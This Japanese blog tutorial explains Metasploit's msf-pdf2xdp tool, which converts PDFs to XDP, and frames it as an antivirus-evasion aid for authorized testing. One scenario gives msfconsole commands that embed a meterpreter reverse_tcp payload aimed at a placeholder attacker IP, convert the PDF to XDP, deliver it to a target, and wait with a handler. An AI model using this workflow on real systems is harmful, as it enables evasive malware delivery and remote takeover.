msf-pdf2xdp の使い方徹底解説：Metasploit Framework ツールを理解する

2025.03.30
セキュリティツール
MSFツールPDF変換XDP形式セキュリティメタスプロイト

Metasploit Framework は、ペネトレーションテストや脆弱性調査のための強力なプラットフォームであり、多くの便利なツールが含まれています。その中の一つである msf-pdf2xdp は、PDFファイルをXDP (XML Data Package) 形式に変換するためのコマンドラインユーティリティです。

このブログ記事では、msf-pdf2xdp の基本的な使い方から、その背景にある技術、そしてセキュリティ上の注意点まで、詳しく解説していきます。初心者から経験者まで、このツールの理解を深める一助となることを目指します。

注意： このツールは、セキュリティテストや教育目的でのみ使用されるべきです。許可なく他者のシステムやファイルに対して使用することは、法律で禁止されており、重大な結果を招く可能性があります。常に倫理的な利用を心がけてください。

msf-pdf2xdp とは何か？ 🤔

msf-pdf2xdp は、Metasploit Framework に含まれるユーティリティの一つです。その主な機能は、既存のPDF (Portable Document Format) ファイルを、AdobeのXDP (XML Data Package) 形式ファイルに変換することです。

XDPはXMLベースのファイル形式で、PDFと同様にAdobe Acrobat/Readerで開くことができます。XDPファイルは、PDFコンテンツをBase64エンコードされたデータストリームとして内部に含んでいます。

主な目的と利用シーン

このツールの主な目的は、セキュリティテストの文脈において、特定の状況下で検知回避を試みることです。悪意のあるペイロードが埋め込まれたPDFファイルは、多くのアンチウイルスソフトウェアやセキュリティシステムによって検出される可能性があります。しかし、同じ内容をXDP形式に変換することで、一部のセキュリティソフトウェアによる検出を回避できる場合がありました。

具体的には、以下のようなシナリオで利用が考えられます（あくまでテスト目的として）：

  • 脆弱性検証: Adobe Readerや関連するPDF処理ソフトウェアの脆弱性を検証する際に、XDP形式を利用した攻撃ベクターを作成する。
  • 検知回避テスト: 組織のセキュリティ対策（アンチウイルス、IDS/IPSなど）が、XDP形式にエンコードされた脅威をどの程度検出できるかテストする。
  • ソーシャルエンジニアリング演習: 訓練目的で、XDPファイルを添付したメールなどを送り、従業員のセキュリティ意識をテストする（ただし、実施には細心の注意と承認が必要です）。

2012年頃には、XDP形式を用いることでアンチウイルス検出を回避できるという報告がありました。ある研究者は、既知の脆弱性（2年前のもの）を利用したPDFファイルをXDPに変換したところ、テストした42のアンチウイルスエンジンのうち1つしか検出しなかったと報告しています。さらに実験を重ね、全てのエンジンを回避するファイルを作成できたとも述べています。しかし、これは過去の情報であり、現在の検出技術は向上している可能性が高い点に注意が必要です。

Metasploit Framework における位置づけ

msf-pdf2xdp は、Metasploit Framework が提供する多数の補助的なツール（msf-* というプレフィックスを持つコマンド群）の一つです。これらのツールは、エクスプロイトの開発、ペイロードの生成、データ操作など、ペネトレーションテストの様々な段階を支援します。

msf-pdf2xdp は、特にファイル形式を操作し、クライアントサイド攻撃（ユーザーがファイルを開くことで攻撃が成立するタイプ）の準備段階で役立つツールと言えます。Metasploit Frameworkの他のツール、例えばペイロード生成ツールの msfvenom や、エクスプロイトモジュールと組み合わせて使用されることが想定されています。

💡 XDP (XML Data Package) は、Adobe LiveCycle Designerなどで作成される、インタラクティブなフォームやドキュメントテンプレートに使われる形式でもあります。XMLベースであるため、構造化されたデータの扱いやスクリプトの埋め込みが可能です。

前提条件とインストール ✅

必要な環境

msf-pdf2xdp を使用するには、基本的に以下の環境が必要です。

  • Metasploit Framework: このツールはMetasploit Frameworkの一部として提供されるため、Metasploit Frameworkがインストールされている必要があります。
  • Linux環境 (推奨): Kali Linux などのペネトレーションテスト用ディストリビューションには、Metasploit Frameworkがプリインストールされていることが多く、環境構築が容易です。他のLinuxディストリビューションや、場合によってはmacOS、Windows (WSL経由など) でも利用可能ですが、Kali Linuxが最も一般的です。
  • 基本的なコマンドライン操作知識: ターミナルでのコマンド入力、ファイルパスの指定などの基本的な操作に慣れている必要があります。

インストール (確認方法)

前述の通り、msf-pdf2xdp は通常、Metasploit Framework のインストールに含まれています。個別にインストールする必要はありません。

Metasploit Framework がインストールされているか、また msf-pdf2xdp が利用可能かを確認するには、ターミナルで以下のコマンドを実行します。 

which msf-pdf2xdp

コマンドのパスが表示されれば（例: /usr/bin/msf-pdf2xdp）、ツールは利用可能な状態です。何も表示されない場合やエラーが出る場合は、Metasploit Framework が正しくインストールされていないか、パスが通っていない可能性があります。

Kali Linux などで Metasploit Framework をインストールまたはアップデートするには、通常以下のコマンドを使用します。 

sudo apt update
sudo apt install metasploit-framework

Metasploit Frameworkのバージョンが古い場合、一部のツールが含まれていない可能性もあるため、最新版にアップデートしておくことをお勧めします。 

sudo apt update
sudo apt full-upgrade

Kali Linux 2018.2 以降では、msf-* 系のスクリプトがPATHに含まれるようになり、直接呼び出せるようになりました。それ以前のバージョンでは、/usr/share/metasploit-framework/tools/exploit/ のような深い階層にあるスクリプトを直接実行する必要がありました。

基本的な使い方 ⚙️

msf-pdf2xdp の使い方は非常にシンプルです。基本的なコマンド構文は以下の通りです。 

msf-pdf2xdp <入力PDFファイルパス> <出力XDPファイルパス>

引数は2つだけです。

  • 第一引数: 変換元のPDFファイルへのパスを指定します。
  • 第二引数: 変換後のXDPファイルとして保存するパスを指定します。

ヘルプオプション (-h または --help) も用意されており、基本的な使い方を確認できます。 

msf-pdf2xdp -h

実行すると、以下のようなシンプルな使用方法が表示されます。 

Usage: msf-pdf2xdp input.pdf output.xdp

実行例

例えば、カレントディレクトリにある sample.pdf というファイルを output.xdp という名前のXDPファイルに変換したい場合は、以下のようにコマンドを実行します。 

msf-pdf2xdp sample.pdf output.xdp

コマンドが正常に完了すれば、カレントディレクトリに output.xdp ファイルが生成されます。エラーが発生した場合は、ターミナルにエラーメッセージが表示されます（例: 入力ファイルが見つからない、書き込み権限がないなど）。

生成された output.xdp ファイルは、Adobe Acrobat Reader DC などで開くことができます。見た目は元のPDFファイルとほぼ同じはずですが、内部的にはXML構造を持ち、PDFコンテンツはBase64エンコードされて埋め込まれています。

オプションについて

現在のところ、msf-pdf2xdp 自体には、入力ファイルと出力ファイル指定以外の複雑なオプションは提供されていません。変換プロセスを細かく制御する機能（特定の要素を除外するなど）はないようです。あくまで、PDFをXDP形式のコンテナにラップすることが主目的のシンプルなツールです。

実践的な利用シナリオ (⚠️倫理的注意喚起あり)

msf-pdf2xdp は単体で使われるよりも、Metasploit Frameworkの他の機能と組み合わせて、特定の目的（主にセキュリティテスト）のために利用されることが多いです。ここでは、考えられる利用シナリオをいくつか紹介しますが、これらの技術が悪用されるリスクを十分に理解し、必ず許可された環境でのテスト目的、または学習目的でのみ利用してください。

警告: 以下のシナリオには、潜在的に危険な技術が含まれています。許可なく他者のシステムに適用することは絶対に避けてください。悪用は法的な責任を問われる可能性があります。

シナリオ1: 悪意のあるペイロードを含むPDFをXDPに変換する

最も一般的な（そして注意が必要な）利用シナリオは、msfvenom などで生成した悪意のあるペイロード（例: リバースシェル、メータプリターセッションを確立するコード）を埋め込んだPDFファイルを作成し、それを msf-pdf2xdp でXDP形式に変換する、という流れです。

  1. ペイロード生成とPDFへの埋め込み: Metasploit Frameworkの exploit/windows/fileformat/adobe_pdf_embedded_exe のようなモジュールを使用します。このモジュールは、指定したペイロード（実行ファイル形式など）を既存の（あるいは新規作成の）PDFファイルに埋め込みます。 
    # msfconsole を起動
msfconsole

# 該当モジュールを使用
use exploit/windows/fileformat/adobe_pdf_embedded_exe

# オプション設定 (例)
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <攻撃者のIPアドレス>
set LPORT <待受ポート>
set FILENAME malicious_original.pdf  # 出力するPDFファイル名
# set INFILENAME <テンプレートとなる既存PDF> (オプション)

# PDFファイルを生成
exploit
    これにより、開くとペイロードが実行される（可能性のある） malicious_original.pdf が生成されます。
  2. XDPへの変換: 生成された悪意のあるPDFファイルを msf-pdf2xdp で変換します。 
    msf-pdf2xdp malicious_original.pdf malicious_converted.xdp
    これで、malicious_converted.xdp というXDPファイルが作成されます。
  3. 配布と待受: 変換されたXDPファイルをターゲットに送り付けます（例: メール添付、Webサイトからのダウンロードなど）。同時に、Metasploitのハンドラー (exploit/multi/handler) を設定し、ペイロードからの接続を待ち受けます。 
    # msfconsole 内でハンドラーを設定
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <攻撃者のIPアドレス>
set LPORT <待受ポート>
exploit
  4. 実行と接続: ターゲットユーザーが脆弱なバージョンのAdobe Readerなどで malicious_converted.xdp を開き、ペイロードが実行されると、攻撃者のハンドラーに接続が確立される可能性があります。

繰り返しになりますが、このプロセス全体が、深刻なセキュリティリスクを伴う行為です。テスト環境以外での実行は絶対にしないでください。 また、現代のAdobe ReaderやOS、アンチウイルスソフトは、このような攻撃に対する防御機構を備えているため、成功率は限定的である可能性が高いです。

シナリオ2: XDP固有の脆弱性を利用する (高度)

XDPファイルはXMLベースであり、JavaScriptなどのスクリプトを埋め込むことが可能です。Adobe Reader/AcrobatのXFA (XML Forms Architecture) 処理エンジンには、過去に複数の脆弱性が見つかっています。

例えば、2017年には、Sebastian Apelt氏によって、XDPフォーム内のネストされた要素とJavaScriptを組み合わせることで、整数アンダーフローを引き起こし、最終的にコード実行につながる脆弱性 (ZDI-17-260 / CVE-2017-3036) が報告されました。これは、前年のZDI-16-555 / CVE-2016-6947 の修正が不完全だったことに起因するものでした。

このようなXDP固有の脆弱性を悪用するエクスプロイトコードを含むXDPファイルを作成する際に、msf-pdf2xdp が直接役立つわけではありませんが、正当なPDFをベースにして、手動または別のスクリプトで悪意のあるXML/JavaScriptコードを注入し、最終的なXDPファイルを作成する、といったワークフローの一部として考えられるかもしれません。ただし、これは高度な知識を要する作業です。

また、LibTIFFライブラリの脆弱性 (例: CVE-2010-0188) を利用したPDFエクスプロイトも存在し、これもXDP形式にラップされる可能性がありました。

重要な注意点: これらの脆弱性の多くは、既にAdobeによって修正されています。最新版のAdobe Readerを使用している場合、これらの攻撃は成功しません。脆弱性情報を扱う際は、常に最新の情報を確認し、パッチが適用されているかを考慮する必要があります。

注意点と倫理的考慮 ⚖️

msf-pdf2xdp や関連するMetasploit Frameworkのツールを使用する際には、技術的な側面だけでなく、倫理的・法的な側面にも十分な注意を払う必要があります。

⚠️ 悪用厳禁

このツールは、PDFファイルをXDP形式に変換することで、セキュリティ製品による検知を回避する目的で悪用される可能性があります。許可なく他者のコンピュータやネットワークに対して、このツールや生成されたファイルを使用することは、不正アクセス行為やコンピュータウイルス作成・提供罪などに該当する可能性があり、絶対に許されません。

✅ 許可された環境でのみ使用

msf-pdf2xdp を使用する際は、必ず自身が管理する環境、または事前に書面で明確な許可を得た環境でのみ実行してください。ペネトレーションテストを実施する場合でも、対象範囲、テスト内容、期間などについて、クライアントと詳細な合意形成を行うことが不可欠です。

📚 教育・研究目的での利用

セキュリティ技術の学習や研究目的でこのツールを使用する場合でも、常に安全な仮想環境（サンドボックス）内で実験を行い、作成したファイルが意図せず外部に流出しないように管理を徹底してください。

🛡️ 防御側の視点を持つ

攻撃手法を学ぶことは、同時に防御策を理解することにも繋がります。msf-pdf2xdp のようなツールが存在することを認識し、XDPファイルを含む不審なファイルへの警戒、Adobe Readerなどのソフトウェアのアップデート、エンドポイントセキュリティの強化といった対策の重要性を再認識しましょう。

セキュリティ技術者は、強力なツールを扱う責任を自覚し、常に高い倫理観を持って行動することが求められます。技術的好奇心や探求心が、決して他者への加害行為に繋がらないよう、自らを律する必要があります。

代替手段・関連ツール ↔️

msf-pdf2xdp は特定の目的（PDFからXDPへの変換）に特化したツールですが、ペネトレーションテストやセキュリティ分析の文脈では、類似の目的を持つ他のツールや、より広範な機能を提供するツールが存在します。

Metasploit Framework 内の関連モジュール/ツール

  • msfvenom: ペイロード生成の定番ツール。様々な形式（実行ファイル、スクリプト、シェルコードなど）でペイロードを作成でき、エンコーディングや難読化オプションも豊富です。悪意のあるPDF/XDPファイルを作成する際の「中身」を作るのに使われます。
  • exploit/windows/fileformat/adobe_pdf_embedded_exe: 前述の通り、実行ファイルをPDFに埋め込むためのエクスプロイトモジュール。
  • 他のFile Formatエクスプロイトモジュール: Metasploitには、Office文書、画像ファイルなど、様々なファイル形式の脆弱性を利用するモジュールが存在します。
  • msf-jsobfu: JavaScriptコードを難読化するツール。XDPファイルに埋め込むJavaScriptを隠蔽するのに役立つ可能性があります。
  • その他の msf-* ツール群: msf-exe2vba (EXEをVBAに変換), msf-pattern_create (バッファオーバーフロー解析用パターン生成) など、多くの補助ツールがあります。(Kali Tools – metasploit-framework)

PDF/XDP操作・分析ツール

  • Origami Framework: Ruby製のPDF解析・操作フレームワーク。PDFの内部構造を調査したり、改変したりするのに強力です。
  • Peepdf: Python製のPDF分析ツール。PDF内のオブジェクト、ストリーム、メタデータ、JavaScriptなどを調査し、悪意のある要素を検出するのに役立ちます。
  • Pdfid.py / Pdf-parser.py (Didier Stevens): PDFファイルの構造を解析し、潜在的に危険なキーワード（/JavaScript, /OpenActionなど）が含まれているかを確認するシンプルなツール。
  • XMLエディタ/パーサー: XDPはXMLベースなので、Oxygen XML Editorのような高機能エディタや、Pythonの `xml.etree.ElementTree` ライブラリなどを使って構造を解析・編集できます。

オンラインサンドボックス/分析サービス

  • VirusTotal: ファイルをアップロードすると、多数のアンチウイルスエンジンでスキャンしてくれるサービス。PDFやXDPファイルが既知の脅威として検出されるか確認できます。(VirusTotal)
  • Any.Run / Hybrid Analysis など: ファイルを仮想環境で実行し、その挙動（ファイル作成、ネットワーク通信、レジストリ変更など）を詳細に分析するサンドボックスサービス。未知のマルウェアの挙動を確認するのに有効です。

これらのツールは、それぞれ得意な分野が異なります。msf-pdf2xdp はあくまで「変換」に特化しており、詳細な分析や複雑な改変、ペイロード生成などは他のツールと連携する必要があります。目的応じて適切なツールを選択・組み合わせることが重要です。

まとめ 📝

msf-pdf2xdp は、Metasploit Frameworkに含まれる、PDFファイルをAdobe XDP形式に変換するためのシンプルなコマンドラインユーティリティです。

  • 機能: PDFファイルを、内部にPDFコンテンツをBase64エンコードで含むXMLベースのXDPファイルに変換します。
  • 目的: 主にセキュリティテストにおいて、アンチウイルスソフトウェアなどによる検出を回避する目的で使用されることがあります（ただし効果は限定的）。
  • 使い方: msf-pdf2xdp <入力PDF> <出力XDP> という非常にシンプルな構文で実行できます。
  • 利用シナリオ: 悪意のあるペイロードを埋め込んだPDFを変換し、ソーシャルエンジニアリング攻撃のベクターとして利用する（テスト目的）、あるいはXDP固有の脆弱性を利用する攻撃の一部として使われる可能性が考えられます。
  • 注意点: 悪用厳禁であり、許可された環境でのみ倫理的に使用する必要があります。最新のセキュリティソフトウェアはXDP形式の脅威も検知・防御する能力が向上しています。

このツール自体は単純ですが、Metasploit Frameworkの他のツールやモジュールと組み合わせることで、ペネトレーションテストの特定のシナリオで役割を果たす可能性があります。しかし、その利用にあたっては、常に技術的な側面だけでなく、倫理的・法的な側面を十分に考慮することが不可欠です。

セキュリティ技術は、防御のために理解・活用されるべきものです。攻撃手法を知ることで、より堅牢なシステムを構築するための一助としてください。🛡️

参考情報 📚

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